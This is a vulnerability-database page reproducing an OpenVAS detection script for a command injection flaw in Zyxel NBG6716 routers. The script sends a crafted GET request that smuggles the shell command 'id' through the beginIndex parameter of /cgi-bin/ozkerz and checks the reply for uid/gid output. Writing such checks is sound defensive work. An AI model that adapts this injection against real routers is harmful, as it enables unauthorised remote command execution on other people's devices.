Zyxel NBG6716 RCE Vulnerability
🗓️ 10 Nov 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType
openvas🔗 plugins.openvas.org👁 30 Views
| Source | Link |
|---|---|
| secarma | www.secarma.co.uk/labs/sohopelessly-broken-0-day-strategy/ |
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.140497");
script_version("2023-07-25T05:05:58+0000");
script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
script_tag(name:"creation_date", value:"2017-11-10 13:05:48 +0700 (Fri, 10 Nov 2017)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Zyxel NBG6716 RCE Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2017 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"Zyxel NBG6716 devices allow command injection in the ozkerz component
because beginIndex and endIndex are used directly in a popen call.");
script_tag(name:"vuldetect", value:"Sends a crafted request via HTTP GET and checks whether
it is possible to execute a remote command.");
script_tag(name:"solution", value:"Upgrade to firmware version V1.00(AAKG.11)C0 or later.");
script_xref(name:"URL", value:"https://www.secarma.co.uk/labs/sohopelessly-broken-0-day-strategy/");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
port = http_get_port(default: 80);
res = http_get_cache(port: port, item: "/cgi-bin/luci");
if ("title>NBG6716 - Login</title>" >< res && "Model:NBG6716" >< res) {
url = "/cgi-bin/ozkerz?eventFlows=1&beginIndex=|id&endIndex=";
if (http_vuln_check(port: port, url: url, pattern: 'uid=[0-9]+.*gid=[0-9]+', check_header: TRUE)) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
exit(99);
}
exit(0);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Jul 2023 00:00Current
8High risk
Vulners AI Score8